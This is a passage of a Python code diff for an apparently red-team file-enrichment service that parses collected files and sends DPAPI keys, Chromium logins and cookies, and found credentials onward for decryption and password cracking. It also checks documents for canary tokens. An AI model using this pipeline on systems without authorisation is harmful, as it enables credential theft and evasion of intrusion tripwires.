+ self.out_q_filedataenriched = out_q_filedataenriched
+ self.out_q_filedataplaintext = out_q_filedataplaintext
+ self.out_q_filedatasourcecode = out_q_filedatasourcecode
+ self.out_q_rawdata = out_q_rawdata
+
+ # upper size limit of an (extracted) archive to process
+ self.extracted_archive_size_limit = extracted_archive_size_limit
+
+ # number of bytes to read at a time per file
+ self.chunk_size = chunk_size
+
+ # only summarize/extract passwords for documents below this word limit
+ self.model_word_limit = model_word_limit
+
+ # load up the file parsing modules
+ (self.file_modules, self.file_module_names) = helpers.dynamic_import_from_src("./enrichment/lib/file_parsers")
+
+ # load up the Yara rules
+ yara_file_paths = glob.glob("./enrichment/lib/public_yara/**/*.yara", recursive=True) + glob.glob(
+ "./enrichment/lib/public_yara/**/*.yar", recursive=True
+ )
+ yara_files = {}
+ for yara_file_path in yara_file_paths:
+ try:
+ yara_files[yara_file_path.split("/")[-1]] = yara_file_path
+ except:
+ continue
+
+ self.yara_rules = yara.compile(filepaths=yara_files)
+
+ async def run(self) -> None:
+ await logger.ainfo("Starting the File Processor")
+
+ results = await asyncio.gather(
+ self.in_q_filedata.Read(self.handle_file_data), # type: ignore
+ self.in_q_filedataenriched.Read(self.handle_file_data_enriched), # type: ignore
+ return_exceptions=True,
+ )
+
+ for result in results:
+ if isinstance(result, Exception):
+ await logger.aexception(result, message="Error in File Processor")
+
+ await asyncio.Future()
+
+ async def handle_file_data(self, q_msg: pb.FileDataIngestionMessage) -> None:
+ structlog.contextvars.clear_contextvars()
+ await self.process_file_data(q_msg)
+
+ async def handle_file_data_enriched(self, q_msg: pb.FileDataEnrichedMessage) -> None:
+ structlog.contextvars.clear_contextvars()
+ await self.process_file_data_enriched(q_msg)
+
+ @aio.time(Summary("process_file", "Time spent processing a file")) # type: ignore
+ async def process_file(
+ self,
+ nemesis_uuid: str,
+ originating_object_id: str,
+ file_path: str,
+ metadata: pb.Metadata,
+ scan_unknown: bool = False,
+ ) -> pb.FileDataEnriched:
+ """Main file_data processing function.
+
+ This is where all the main file enrichment logic resides.
+ """
+ ###########################################################
+ #
+ # Basic/universal file processing
+ #
+ ###########################################################
+
+ with await self.storage.download(uuid.UUID(nemesis_uuid)) as file:
+ return await self.process_enrichments(nemesis_uuid, originating_object_id, file.name, file_path, metadata, scan_unknown)
+
+ async def process_enrichments(
+ self,
+ file_uuid_str: str,
+ originating_object_id: str,
+ file_path_on_disk: str,
+ file_path: str,
+ metadata: pb.Metadata,
+ scan_unknown: bool,
+ ) -> pb.FileDataEnriched:
+ """Main function for various base file enrichments."""
+
+ file_data = pb.FileDataEnriched()
+
+ # track which enrichments ran/failed
+ enrichments_success = []
+ enrichments_failure = []
+
+ # whether to skip the DPAPI blob carving for specific files
+ skip_dpapi_carve = False
+
+ # double check/ensure the path is forward slash normalized
+ file_path = file_path.replace("\\", "/")
+
+ # get the base file name
+ file_name = os.path.basename(file_path)
+
+ # hash the file bytes, getting a file_hashes protobuf back
+ file_hashes = helpers.hash_file(file_path_on_disk)
+ if file_hashes:
+ enrichments_success.append(constants.E_FILE_HASHES)
+ file_data.hashes.CopyFrom(file_hashes)
+ else:
+ enrichments_failure.append(constants.E_FILE_HASHES)
+ await logger.aerror("Hash enrichment: Failed to hash file")
+
+ # now get its magic type from the first 2048 bytes using python-magic
+ file_magic_type = helpers.get_magic_type(file_path_on_disk)
+
+ # check if the file can have plaintext extracted with Tika
+ tika_compatible = helpers.tika_compatible(file_path)
+
+ # check if this file is an office document
+ is_office_doc = helpers.is_office_doc(file_path)
+
+ # check if this file is a supported type of source code
+ is_source_code = helpers.is_source_code(file_path)
+
+ # check if the file extension indicates that Gotenberg can convert the document to a pdf
+ can_convert_to_pdf = helpers.can_convert_to_pdf(file_path)
+
+ # true if the file is binary, false if it's text (e.g., source code)
+ file_is_binary = is_binary(file_path_on_disk)
+
+ file_data.object_id = file_uuid_str
+ file_data.originating_object_id = originating_object_id
+ file_data.name = file_name
+ file_data.size = os.path.getsize(file_path_on_disk)
+ file_data.path = file_path
+ file_data.extension = pathlib.Path(file_path).suffix.strip(".")
+ file_data.magic_type = file_magic_type
+ file_data.is_binary = file_is_binary
+ file_data.is_office_doc = is_office_doc
+ file_data.is_source_code = is_source_code
+ file_data.nemesis_file_type = "unknown"
+
+ ###########################################################
+ #
+ # Nemesis-defined file format parsing
+ #
+ ###########################################################
+
+ possible_nemesis_file_types = []
+
+ # TODO: redo this flow so modules are instantiated only once
+
+ # first iterate through every file module to see if we have a path match
+ for file_module_name in self.file_module_names:
+ try:
+ file_module = self.file_modules[file_module_name](file_path_on_disk, file_data, metadata)
+ except Exception as e:
+ await logger.aexception(e, message="exception (likely mismatching class/file name)")
+ continue
+
+ try:
+ if file_module.check_path():
+ # TODO: save module instead of name possibly?
+ possible_nemesis_file_types.append(file_module_name)
+ except Exception as e:
+ await logger.aexception(
+ e,
+ message="Exception in running check_path() for module",
+ file_module_name=file_module_name,
+ )
+
+ await logger.adebug(f"possible_nemesis_file_types: {possible_nemesis_file_types}")
+
+ # then verify the file contents for any potential matches
+ if len(possible_nemesis_file_types) > 0:
+ for possible_nemesis_file_type in possible_nemesis_file_types:
+ try:
+ file_module = self.file_modules[possible_nemesis_file_type](file_path_on_disk, file_data, metadata)
+ except Exception as e:
+ await logger.aexception(
+ e,
+ message="Exception (likely mismatching class/file name)",
+ )
+ continue
+ try:
+ if file_module.check_content():
+ # if the content matches then break and mark this file as identified
+ file_data.nemesis_file_type = possible_nemesis_file_type
+ break
+ except Exception as e:
+ await logger.aexception(
+ e,
+ message="Exception in running check_content()",
+ possible_file_type=possible_nemesis_file_type,
+ )
+ else:
+ # if there's no type match AND we're scanning unknown filetypes
+ if scan_unknown:
+ # first iterate through every file module to see if we have a path match
+ for file_module_name in self.file_module_names:
+ try:
+ file_module = self.file_modules[file_module_name](file_path_on_disk, file_data, metadata)
+ except Exception as e:
+ await logger.aexception(
+ e,
+ message="Exception (likely mismatching class/file name)",
+ )
+ continue
+
+ try:
+ if file_module.check_content():
+ # if the content matches then break and mark this file as identified
+ file_data.nemesis_file_type = file_module_name
+ break
+ except Exception as e:
+ await logger.aexception(e, message="Exception in running check_content()")
+
+ await logger.adebug("file_data.nemesis_file_type", file_type=file_data.nemesis_file_type)
+
+ # if we don't have an unknown file type, parse the content using the matching module
+ if file_data.nemesis_file_type != "unknown":
+ file_module = self.file_modules[file_data.nemesis_file_type](file_path_on_disk, file_data, metadata)
+
+ auth_data_msg: pb.AuthenticationDataIngestionMessage
+ (parsed, auth_data_msg) = file_module.parse()
+
+ if len(auth_data_msg.data) > 0:
+ # if we have plaintext auth data, emit that to the auth_data_q_out queue
+ await self.out_q_authdata.Send(auth_data_msg.SerializeToString())
+ await logger.ainfo(
+ "Authentication data found!",
+ count=len(auth_data_msg.data),
+ types=[d.type for d in auth_data_msg.data],
+ )
+
+ if parsed and parsed is not None:
+ enrichments_success.append(constants.E_KNOWN_FILE_PARSED)
+ try:
+ file_data.parsed_data.CopyFrom(parsed)
+ try:
+ if file_data.parsed_data.has_parsed_credentials:
+ await self.alerter.file_data_alert(
+ file_data=file_data,
+ metadata=metadata,
+ title="Parsed Credentials",
+ text="File is a known type and has some form of parsed credentials!",
+ )
+
+ except:
+ pass
+
+ except Exception as e:
+ await logger.aexception(
+ e,
+ message="Exception parsing data with module",
+ file_module=file_module,
+ )
+ err = helpers.nemesis_parsed_data_error(f"Exception parsing data with module '{file_module}' : {e}")
+ file_data.parsed_data.CopyFrom(err)
+
+ ###########################################################
+ #
+ # Special post-processing of specific file types
+ #
+ ###########################################################
+
+ if file_data.parsed_data.WhichOneof("data_type") == "dpapi_masterkey":
+ # if the parsed data is a DPAPI masterkey, publish it to the queue
+ skip_dpapi_carve = True
+ dpapi_masterkey_message = pb.DpapiMasterkeyMessage()
+ dpapi_masterkey_message.metadata.CopyFrom(metadata)
+ dpapi_masterkey_message.data.append(file_data.parsed_data.dpapi_masterkey)
+ await logger.ainfo("Detected DPAPI masterkey, emitting DpapiMasterkeyMessage")
+ await self.out_q_dpapimasterkey.Send(dpapi_masterkey_message.SerializeToString())
+
+ elif file_data.parsed_data.WhichOneof("data_type") == "chromium_history":
+ skip_dpapi_carve = True
+ await logger.ainfo("Detected Chromium history file, processing")
+ await helpers.process_chromium_history(
+ file_data.object_id,
+ file_path_on_disk,
+ metadata,
+ file_data.parsed_data,
+ self.out_q_chromiumhistory,
+ self.out_q_chromiumdownloads,
+ )
+
+ elif file_data.parsed_data.WhichOneof("data_type") == "chromium_logins":
+ skip_dpapi_carve = True
+ await logger.ainfo("Detected Chromium logins file, processing")
+ await helpers.process_chromium_logins(
+ file_data.object_id, file_path_on_disk, metadata, file_data.parsed_data, self.out_q_chromiumlogins
+ )
+
+ elif file_data.parsed_data.WhichOneof("data_type") == "chromium_cookies":
+ skip_dpapi_carve = True
+ await logger.ainfo("Detected Chromium cookies file, processing")
+ await helpers.process_chromium_cookies(
+ file_data.object_id, file_path_on_disk, metadata, file_data.parsed_data, self.out_q_chromiumcookies
+ )
+
+ elif file_data.parsed_data.WhichOneof("data_type") == "chromium_state_file":
+ skip_dpapi_carve = True
+ chromium_state_file_message = pb.ChromiumStateFileMessage()
+ chromium_state_file_message.metadata.CopyFrom(metadata)
+ chromium_state_file_message.data.append(file_data.parsed_data.chromium_state_file)
+ await logger.ainfo("Detected Chromium state file, emitting ChromiumStateFileMessage")
+ await self.out_q_chromiumstatefile.Send(chromium_state_file_message.SerializeToString())
+
+ # if this file is Seatbelt data, emit a raw_data message so the data is properly processed
+ elif file_data.magic_type == "JSON data" and helpers.scan_with_yara(file_path_on_disk, "seatbelt_json"):
+ skip_dpapi_carve = True
+ seatbelt_raw_data_message = pb.RawDataIngestionMessage()
+ seatbelt_raw_data_message.metadata.CopyFrom(metadata)
+ raw_data_message = seatbelt_raw_data_message.data.add()
+ raw_data_message.data = file_data.object_id
+ raw_data_message.tags.append("seatbelt_json")
+ raw_data_message.is_file = True
+ await logger.ainfo("Detected Seatbelt json file, emitting RawDataIngestionMessage")
+ await self.out_q_rawdata.Send(seatbelt_raw_data_message.SerializeToString())
+
+ # if we have a registry file, try to extract all the strings and run NoseyParker on everything
+ if file_data.magic_type.startswith("MS Windows registry file"):
+
+ # skip DPAPI carving for registry hives since we do it manually
+ skip_dpapi_carve = True
+
+ with tempfile.NamedTemporaryFile(mode="a+") as temp_file:
+ # first ascii
+ subprocess.run(["strings", file_path_on_disk], stdout=temp_file, stderr=subprocess.PIPE)
+ # now unicode
+ subprocess.run(["strings", "--encoding=l", file_path_on_disk], stdout=temp_file, stderr=subprocess.PIPE)
+ temp_file.seek(0)
+
+ try:
+ noseyparker_output = helpers.run_noseyparker(temp_file.name)
+ enrichments_success.append(constants.E_NOSEYPARKER_SCAN)
+
+ if noseyparker_output and len(noseyparker_output.rule_matches) > 0:
+ file_data.noseyparker.CopyFrom(noseyparker_output)
+ await self.alerter.file_data_alert(
+ file_data=file_data,
+ title="NoseyParker Results",
+ metadata=metadata,
+ )
+ except Exception as e:
+ await logger.aexception(e, message="Noseyparker scanning failed")
+ enrichments_failure.append(constants.E_NOSEYPARKER_SCAN)
+
+ ###########################################################
+ #
+ # DPAPI blob carving and processing
+ #
+ ###########################################################
+
+ try:
+ # Scan for the presence of DPAPI blobs using Yara
+ if not skip_dpapi_carve and helpers.scan_with_yara(file_path_on_disk, "dpapi_blob"):
+ enrichments_success.append(constants.E_DPAPI_BLOB_SCAN)
+
+ file_data.contains_dpapi = True
+
+ await self.alerter.file_data_alert(
+ file_data=file_data,
+ metadata=metadata,
+ title="DPAPI data present",
+ )
+
+ # carve any DPAPI blobs
+ carved = await helpers.carve_dpapi_blobs_from_file(file_path_on_disk, file_uuid_str, metadata)
+
+ if carved is not None:
+ (dpapi_blob_ids, dpapi_blob_messages) = carved
+ enrichments_success.append(constants.E_DPAPI_BLOB_CARVED)
+
+ # publish any carved DPAPI blobs to the queue
+ for dpapi_blob_message in dpapi_blob_messages:
+ await self.out_q_dpapiblob.Send(dpapi_blob_message.SerializeToString())
+
+ # If blobs were extracted, add those blobs to this file object
+ # This is so blobs can be tracked from blob(s)->file and file->blob(s)
+ if dpapi_blob_ids and len(dpapi_blob_ids) > 0:
+ file_data.dpapi_blobs.extend(dpapi_blob_ids)
+ else:
+ # "None" is returned on failure
+ enrichments_failure.append(constants.E_DPAPI_BLOB_CARVED)
+ except Exception as e:
+ await logger.aexception(
+ e,
+ message="Error when using helpers.scan_with_yara or helpers.carve_dpapi_blobs",
+ )
+ enrichments_failure.append(constants.E_DPAPI_BLOB_SCAN)
+
+ ###########################################################
+ #
+ # Office document related processing
+ #
+ ###########################################################
+
+ # Check if the office document was encrypted
+ doc_is_encrypted = file_data.parsed_data.is_encrypted
+
+ # If the file extension indicates that plaintext can be extracted through Tika
+ if tika_compatible and not doc_is_encrypted:
+ try:
+ # use Tika to extract to a new local UUID that references the uploaded Nemesis file text
+ plaintext_file_id = await self.extract_text(file_path_on_disk)
+
+ if plaintext_file_id:
+ file_data.extracted_plaintext = str(plaintext_file_id)
+ enrichments_success.append(constants.E_TEXT_EXTRACTED)
+ except Exception as e:
+ await logger.aexception(e, message="Exception in running extract_text()")
+ enrichments_failure.append(constants.E_TEXT_EXTRACTED)
+
+ # If we can convert the document to a PDF with Gotenberg and the document isn't an encrypted office doc
+ if can_convert_to_pdf and not doc_is_encrypted:
+ # use Gotenberg to convert the document to a new local UUID that references the uploaded Nemesis file text
+ # Gotenberg requires an extension, so we have to temporarily rename the file to its original extension
+
+ orig_filename = file_path_on_disk
+ temp_filename = f"{orig_filename}.{file_data.extension}"
+ os.rename(orig_filename, temp_filename)
+
+ try:
+ pdf_uuid = await self.convert_to_pdf(temp_filename)
+ enrichments_success.append(constants.E_PDF_CONVERSION)
+
+ if pdf_uuid:
+ file_data.converted_pdf = str(pdf_uuid)
+ except Exception as e:
+ await logger.aexception(e, message="Could not convert file to PDF", file_uuid=file_uuid_str)
+ enrichments_failure.append(constants.E_PDF_CONVERSION)
+
+ # restore the original file name
+ os.rename(temp_filename, orig_filename)
+
+ ###########################################################
+ #
+ # Misc processing
+ #
+ ###########################################################
+
+ # check the file for canaries :smiling_imp:
+ if file_data.parsed_data.WhichOneof("data_type") == "office_doc_new":
+ canaries = await canary_helpers.get_office_document_canaries(file_path_on_disk)
+ file_data.canaries.CopyFrom(canaries)
+ else:
+ canaries = await canary_helpers.get_file_canaries(file_path_on_disk)
+ file_data.canaries.CopyFrom(canaries)
+
+ if file_data.canaries.canaries_present:
+ text = ""
+
+ for canary in file_data.canaries.canaries:
+ rule = canary.type
+ urls = ", ".join(canary.data)
+ urls = urls.replace(".", "[.]")
+ text += f"*Rule {rule} :* {urls}\n"
+
+ await self.alerter.file_data_alert(
+ file_data=file_data,
+ metadata=metadata,
+ title="Possible canaries detected",
+ text=text,
+ )
+
+ # run Yara on the file
+ yara_results = await self.yara_opsec_scan(file_path_on_disk)
+ if "error" in yara_results:
+ error_text = yara_results["error"]
+ enrichments_failure.append(constants.E_YARA_SCAN)
+ await logger.aerror(f"Error in yara_opsec_scan: {error_text}")
+ else:
+ enrichments_success.append(constants.E_YARA_SCAN)
+ if "yara_matches" in yara_results and len(yara_results["yara_matches"]) > 0:
+ rule_matches = yara_results["yara_matches"]
+ file_data.yara_matches.extend(rule_matches)
+
+ alert_rules = [rule for rule in rule_matches if rule not in constants.EXCLUDED_YARA_RULES]
+
+ if alert_rules:
+ rule_matches_str = ", ".join(alert_rules)
+ await self.alerter.file_data_alert(
+ file_data=file_data,
+ metadata=metadata,
+ title="Yara rule match(es)",
+ text=f"*Rules:* {rule_matches_str}",
+ )
+
+ # if the file isn't a binary file (or is a Chromium history file)
+ # run NoseyParker on it for anything we can find
+ if not file_is_binary or file_data.parsed_data.WhichOneof("data_type") == "chromium_history":
+ try:
+ noseyparker_output = helpers.run_noseyparker(file_path_on_disk)
+ enrichments_success.append(constants.E_NOSEYPARKER_SCAN)
+
+ if noseyparker_output and len(noseyparker_output.rule_matches) > 0:
+ file_data.noseyparker.CopyFrom(noseyparker_output)
+ await self.alerter.file_data_alert(
+ file_data=file_data,
+ title="NoseyParker Results",
+ metadata=metadata,
+ )
+ except Exception as e:
+ await logger.aexception(e, message="Noseyparker scanning failed")
+ enrichments_failure.append(constants.E_NOSEYPARKER_SCAN)
+
+ # first check if there's a non-null originating_object_id - this is to prevent an explosion
+ # of files if there are nested archives
+ # then if the file is not tika_compatible (this is a hack for "not a new office document format")
+ # call process_archive to decompress the archive and process every
+ # file within it (assuming the decompressed size is below self.extracted_archive_size_limit)
+ if (
+ (not originating_object_id or originating_object_id == "00000000-0000-0000-0000-000000000000")
+ and not tika_compatible
+ and helpers.is_archive(file_path_on_disk)
+ ):
+ if await self.process_archive(file_path_on_disk, file_path, file_data.object_id, metadata):
+ enrichments_success.append(constants.E_ARCHIVE_CONTENTS_PROCESSED)
+ else:
+ enrichments_failure.append(constants.E_ARCHIVE_CONTENTS_PROCESSED)
+
+ # if the file type is a .NET assembly, perform additional analysis (deserialization/etc.)
+ if file_data.nemesis_file_type == "dotnet_assembly":
+ if not self.dotnet_uri:
+ # file_data.analysis = helpers.get "error: DOTNET_URI not defined"
+ file_data.extracted_source = "error: DOTNET_URI not defined"
+ else:
+ # decompile the source and analyze the assembly
+ # we want to use the original object_id instead of the temp file path here
+ # because the dotnet container is downloading the original file from storage
+ dotnet_results = await self.process_dotnet(file_data.object_id)
+
+ if dotnet_results:
+ if "error" in dotnet_results["decompilation"]:
+ file_data.extracted_source = dotnet_results["decompilation"]["error"]
+ enrichments_failure.append(constants.E_DOTNET_ANALYSIS)
+ else:
+ enrichments_success.append(constants.E_DOTNET_ANALYSIS)
+ file_data.analysis.CopyFrom(dotnet_results["analysis"])
+
+ try:
+ if file_data.analysis.dotnet_analysis.has_deserialization:
+ await self.alerter.file_data_alert(
+ file_data=file_data,
+ metadata=metadata,
+ title="Potential Deserialization Found",
+ )
+ except:
+ pass
+ try:
+ if file_data.analysis.dotnet_analysis.has_cmd_execution:
+ await self.alerter.file_data_alert(
+ file_data=file_data,
+ metadata=metadata,
+ title="Potential Command Execution Found",
+ )
+ except:
+ pass
+ try:
+ if file_data.analysis.dotnet_analysis.has_remoting:
+ await self.alerter.file_data_alert(
+ file_data=file_data,
+ metadata=metadata,
+ title="Potential Remoting Found",
+ )
+ except:
+ pass
+
+ if "object_id" in dotnet_results["decompilation"] and dotnet_results["decompilation"]["object_id"] is not None:
+ file_data.extracted_source = dotnet_results["decompilation"]["object_id"]
+ with await self.storage.download(uuid.UUID(file_data.extracted_source)) as temp_decomp_file:
+ # if there's extracted source, download the source and run NoseyParker on the extracted source
+ noseyparker_output = helpers.run_noseyparker_on_archive(temp_decomp_file.name)
+ if noseyparker_output:
+ file_data.noseyparker.CopyFrom(noseyparker_output)
+ await self.alerter.file_data_alert(
+ file_data=file_data,
+ title="NoseyParker Results",
+ metadata=metadata,
+ )
+
+ else:
+ enrichments_failure.append(constants.E_DOTNET_ANALYSIS)
+
+ file_data.enrichments_success.extend(enrichments_success)
+ file_data.enrichments_failure.extend(enrichments_failure)
+
+ return file_data
+
+ @aio.time(Summary("process_archive", "Time spent processing an archive")) # type: ignore
+ async def process_archive(self, archive_file_path_on_disk: str, archive_file_path: str, archive_uuid: str, metadata: pb.Metadata):
+ """Processes all the files in a supplied archive.
+
+ If an archive is under the self.extracted_archive_size_limit when decompressed, decompress
+ it, upload each file to Nemesis, and publish a new `file_data` topic for each new file
+ so each file is processed individually by the pipeline.
+ """
+
+ archive_size = helpers.get_archive_size(archive_file_path_on_disk)
+
+ if not (archive_size > 0 and archive_size < self.extracted_archive_size_limit):
+ await logger.awarning(
+ f"process_archive: '{archive_file_path}' ({archive_file_path_on_disk}) is over the projected decompressed limit of {self.extracted_archive_size_limit} bytes"
+ )
+ return False
+
+ try:
+ tmp_dir = helpers.extract_archive(archive_file_path_on_disk)
+ except helpers.FileNotSupportedException:
+ logger.info("File is not a supported archive format", file_path_on_disk=archive_file_path_on_disk)
+ return False
+ except RuntimeError as e:
+ if "encrypted, password required for extraction" in str(e):
+ logger.info("Archive is encrypted", file_path_on_disk=archive_file_path_on_disk)
+ return True
+ logger.exception(e, message="RuntimeError extracting archive", file_path_on_disk=archive_file_path_on_disk)
+ return False
+
+ processed_files = 0
+
+ for extracted_file_path in pathlib.Path(tmp_dir).rglob("**/*"):
+ try:
+ extracted_file_size = os.path.getsize(extracted_file_path)
+
+ if os.path.isfile(extracted_file_path) and extracted_file_size > 0:
+ async with TempFile(self.data_download_dir) as temp_file:
+ # Rename the extracted file to a UUID and upload to Nemesis/S3
+ shutil.move(extracted_file_path, temp_file.path)
+ object_id = await self.storage.upload(temp_file.path)
+
+ # ensure / normalization for the file path
+ extracted_file_path = str(extracted_file_path).replace("\\", "/")
+
+ # construct the "actual" file path as the original ".../zip_path/this_file"
+ real_extracted_file_path = extracted_file_path.replace(tmp_dir, archive_file_path)
+
+ file_data_message_pb = pb.FileDataIngestionMessage()
+
+ # copy in the original archive's metadata
+ file_data_message_pb.metadata.CopyFrom(metadata)
+
+ file_data_pb = file_data_message_pb.data.add()
+ file_data_pb.object_id = f"{object_id}"
+ file_data_pb.path = real_extracted_file_path
+ file_data_pb.size = extracted_file_size
+
+ # set the originating object for this file as the UUID from the archive it was extracted from
+ file_data_pb.originating_object_id = archive_uuid
+
+ # publish this as a new "file_data" message to the queue...
+ await self.out_q_filedata.Send(file_data_message_pb.SerializeToString())
+
+ await logger.ainfo(f"Submitted extracted file '{real_extracted_file_path}' to Nemesis")
+ processed_files += 1
+
+ except Exception as e:
+ await logger.aexception(
+ e, message="process_archive error", extracted_file_path=extracted_file_path, archive_file_path=archive_file_path
+ )
+ return False
+
+ await logger.ainfo("Files processed from archive", archive_file_path=archive_file_path, processed_files=processed_files)
+
+ # clean up the extracted directory
+ if os.path.exists(tmp_dir):
+ shutil.rmtree(tmp_dir, ignore_errors=True)
+
+ return True
+
+ @aio.time(Summary("process_file_data", "Time spent processing a file_data topic")) # type: ignore
+ async def process_file_data(self, event: pb.FileDataIngestionMessage):
+ """Main function to process file_data events."""
+
+ for data in event.data:
+ file_data_enriched_message = pb.FileDataEnrichedMessage()
+
+ # copy in the original message's metadata
+ file_data_enriched_message.metadata.CopyFrom(event.metadata)
+
+ object_id = data.object_id
+ originating_object_id = data.originating_object_id
+ file_path = data.path
+
+ # enrich the data, passing the new file_data_enriched object so we don't have to make a copy later
+ start_time = datetime.now()
+
+ structlog.contextvars.bind_contextvars(
+ file_path=file_path,
+ object_id=object_id,
+ )
+
+ try:
+ file_data_enriched = await self.process_file(object_id, originating_object_id, file_path, event.metadata)
+ file_data_enriched_message.data.extend([file_data_enriched])
+
+ await logger.ainfo("Finished processing file", duration=str(datetime.now() - start_time))
+
+ await self.out_q_filedataenriched.Send(file_data_enriched_message.SerializeToString())
+ except Exception as e:
+ await logger.aexception(e, message="process_file error", file_uuid=object_id)
+ return helpers.nemesis_error(f"process_file error for {object_id} : {e}")
+
+ @aio.time(Summary("process_file_data_enriched", "Time spent processing a file_data_enriched topic")) # type: ignore
+ async def process_file_data_enriched(self, event: pb.FileDataEnrichedMessage):
+ """Main function to process file_data_enriched events."""
+
+ for data in event.data:
+ structlog.contextvars.bind_contextvars(
+ object_id=data.object_id,
+ file_path=data.name,
+ )
+
+ # if this enriched file has extracted plaintext, emit a file_data_plaintext_message
+ if data.extracted_plaintext and data.extracted_plaintext != "":
+ file_data_plaintext_message = pb.FileDataPlaintextMessage()
+ file_data_plaintext_message.metadata.CopyFrom(event.metadata)
+ file_uuid_str = data.extracted_plaintext
+ start_time = datetime.now()
+
+ plaintext_result = await self.process_plaintext_from_file_data_enriched(data, file_data_plaintext_message)
+
+ if plaintext_result:
+ await logger.ainfo(f"{file_uuid_str} processed in: {datetime.now() - start_time}")
+ await self.out_q_filedataplaintext.Send(file_data_plaintext_message.SerializeToString())
+
+ # if this file is source code, emit a file_data_sourcecode message
+ elif data.is_source_code:
+ file_data_sourcecode_message = pb.FileDataSourcecodeMessage()
+ file_data_sourcecode_message.metadata.CopyFrom(event.metadata)
+ file_data_sourcecode = file_data_sourcecode_message.data.add()
+ file_data_sourcecode.object_id = data.object_id
+ file_data_sourcecode.path = data.path
+ file_data_sourcecode.name = data.name
+ file_data_sourcecode.extension = data.extension
+ file_data_sourcecode.language = helpers.map_extension_to_language(data.extension)
+ file_data_sourcecode.size = data.size
+ await self.out_q_filedatasourcecode.Send(file_data_sourcecode_message.SerializeToString())
+
+ async def yara_opsec_scan(self, file_path: str):
+ """
+ Scans the given file path with all current yara OPSEC rules.
+
+ Any matches are returned. If the file doesn't exist, we attempt to
+ download it the Nemesis datastore.
+ """
+
+ if os.path.exists(file_path):
+ try:
+ return {"yara_matches": [f"{match}" for match in self.yara_rules.match(file_path)]}
+ except Exception as e:
+ await logger.aexception(e, message="yara_scan_file error", file_path=file_path)
+ return {"error": f"yara_scan_file error for {file_path} : {e}"}
+ else:
+ try:
+ # try to download the file from the nemesis API
+ file_uuid = uuid.UUID(file_path)
+ with await self.storage.download(file_uuid) as temp_file:
+ return {"yara_matches": [f"{match}" for match in self.yara_rules.match(temp_file.name)]}
+ except Exception as e:
+ await logger.aexception(e, message="yara_scan_file error", file_path=file_path)
+ return {"error": f"yara_scan_file error for {file_path} : {e}"}
+ finally:
+ # clean up the local file if it exists
+ if os.path.exists(file_path):
+ os.remove(file_path)
+
+ async def extract_text(self, file_path: str) -> Optional[uuid.UUID]:
+ """Extracts text from a file, and if there's text, returns a Nemesis File UUID."""
+
+ text = await self.text_extractor.extract(file_path)
+ if text is None:
+ await logger.adebug("No text extracted", file_path=file_path)
+ return None
+
+ # Write the extracted text to a temporary file and upload it to Nemesis
+ with tempfile.NamedTemporaryFile(mode="w") as plaintext_file:
+ plaintext_file.write(text)
+ plaintext_file.seek(0)
+
+ extractedtext_file_uuid = await self.storage.upload(plaintext_file.name)
+ return extractedtext_file_uuid
+
+ async def convert_to_pdf(self, file_path: str) -> Optional[uuid.UUID]:
+ """Calls self.gotenberg_uri to convert the supplied document to a PDF.
+
+ The PDF is written to a new UUID, uploaded to S3, and the UUID is returned.
+ """
+
+ with open(file_path, "rb") as file:
+ files = {"file": file}
+ url = f"{self.gotenberg_uri}forms/libreoffice/convert"
+
+ async with aiohttp.ClientSession() as session:
+ async with TempFile(self.data_download_dir) as temp_file:
+ async with session.post(url, data=files) as resp:
+ resp.raise_for_status()
+
+ with open(temp_file.path, "wb") as f:
+ async for chunk in resp.content.iter_chunked(self.chunk_size):
+ f.write(chunk)
+
+ if os.path.getsize(temp_file.path) > 0:
+ pdf_file_uuid = await self.storage.upload(temp_file.path)
+ return pdf_file_uuid
+ else:
+ await logger.awarning(f"Result {temp_file.path} is 0 bytes")
+ return None
+
+ async def extract_passwords(self, file_path: str) -> dict:
+ """Calls the self.ml_models_uri to extract password candidates from a plaintext document."""
+
+ try:
+ data = {"object_id": file_path}
+ url = f"{self.ml_models_uri}passwords"
+
+ async with aiohttp.ClientSession() as session:
+ async with session.post(url, json=data) as resp:
+ resp.raise_for_status()
+ response = await resp.json()
+ return response
+
+ except Exception as e:
+ await logger.aexception(e, message="Error calling ml_models", file_path=file_path)
+ return {"error": f"Error calling ml_models on {file_path} : {e}"}
+
+ async def summarize_text(self, file_path: str, num_sentences: int = 4) -> str:
+ """Summarizes a local text file using the `sumy` Python library."""
+ try:
+ parser = PlaintextParser.from_file(file_path, Tokenizer("english"))
+ summarizer = TextRankSummarizer()
+ summary = " ".join([f"{sentence}" for sentence in summarizer(parser.document, num_sentences)])
+ summary = re.sub("\\s", " ", summary)
+ return summary
+ except Exception as e:
+ await logger.aerror(f"Error summarizing {file_path} : {e}")
+ return f"Error: summarizing {file_path} : {e}"
+
+ async def update_cracklist(self, object_id: str, client_id: str) -> bool:
+ """Calls self.crack_list_uri to update the cracklist with the current plaintext file.
+
+ client_id is a unique identifier for the engagement/client
+ """
+
+ try:
+ data = {"object_id": object_id, "client_id": client_id}
+ url = f"{self.crack_list_uri}add?length_filter=true"
+
+ async with aiohttp.ClientSession() as session:
+ async with session.post(url, json=data) as resp:
+ resp.raise_for_status()
+ return True
+
+ except Exception as e:
+ await logger.aexception(e, message="Error calling cracklist", file_uuid=object_id)
+ return False
+
+ async def process_dotnet(self, file_path: str) -> Optional[dict]:
+ """Calls the self.dotnet_uri/process api endpoint to decompile the supplied .NET assembly."""
+
+ try:
+ data = {"object_id": file_path}
+ # headers = {"Content-type": "application/json", "Accept": "text/plain"}
+ url = f"{self.dotnet_uri}process"
+
+ async with aiohttp.ClientSession() as session:
+ async with session.post(url, json=data) as resp:
+ resp.raise_for_status()
+ response = await resp.json()
+
+ results = {}
+ results["decompilation"] = response["decompilation"]
+
+ # extract out all of the json'ified analysis output
+ data = response["analysis"]
+
+ analysis = pb.Analysis()
+
+ if data["RemotingChannels"]:
+ analysis.dotnet_analysis.remoting_channels.extend(data["RemotingChannels"])
+
+ analysis.dotnet_analysis.is_wcf_server = data["IsWCFServer"]
+ analysis.dotnet_analysis.is_wcf_client = data["IsWCFClient"]
+
+ for k, v in data["SerializationGadgetCalls"].items():
+ for temp in v:
+ analysis.dotnet_analysis.has_deserialization = True
+ gadget_call = analysis.dotnet_analysis.serialization_gadget_calls.add()
+ gadget_call.gadget_name = k
+ gadget_call.method_name = temp["MethodName"] if temp["MethodName"] else ""
+ gadget_call.filter_level = temp["FilterLevel"] if temp["FilterLevel"] else ""
+
+ for k, v in data["WcfServerCalls"].items():
+ for temp in v:
+ analysis.dotnet_analysis.has_remoting = True
+ gadget_call = analysis.dotnet_analysis.wcf_server_calls.add()
+ gadget_call.gadget_name = k
